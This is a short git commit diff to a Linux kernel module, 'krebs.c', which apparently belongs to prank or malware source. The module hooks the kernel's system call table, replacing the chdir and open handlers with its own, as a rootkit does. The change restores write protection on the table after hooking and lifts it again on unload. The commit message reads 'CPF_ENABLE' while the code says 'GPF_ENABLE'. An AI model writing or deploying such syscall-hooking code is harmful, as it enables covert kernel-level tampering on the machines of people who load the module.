//DNA/linux: set_addr_ro & CPF_ENABLE after mods

1 files changed, 6 insertions, 0 deletions

diff --git a/DNA/linux/krebs.c b/DNA/linux/krebs.c
index af640080..df319c63 100644
--- a/DNA/linux/krebs.c
+++ b/DNA/linux/krebs.c
@@ -170,11 +170,17 @@ static int __init init_rickroll(void)
     o_chdir = (void *)sys_call_table[__NR_chdir];
     sys_call_table[__NR_chdir] = (void *) my_chdir; 
 
+    set_addr_ro((unsigned long)sys_call_table);
+    GPF_ENABLE;
+
     return 0; 
 } 
 
 static void __exit exit_rickroll(void) 
 { 
+    set_addr_rw((unsigned long)sys_call_table);
+    GPF_DISABLE;
+
     sys_call_table[__NR_chdir] = (void *) o_chdir; 
     sys_call_table[__NR_open] = (void *) o_open;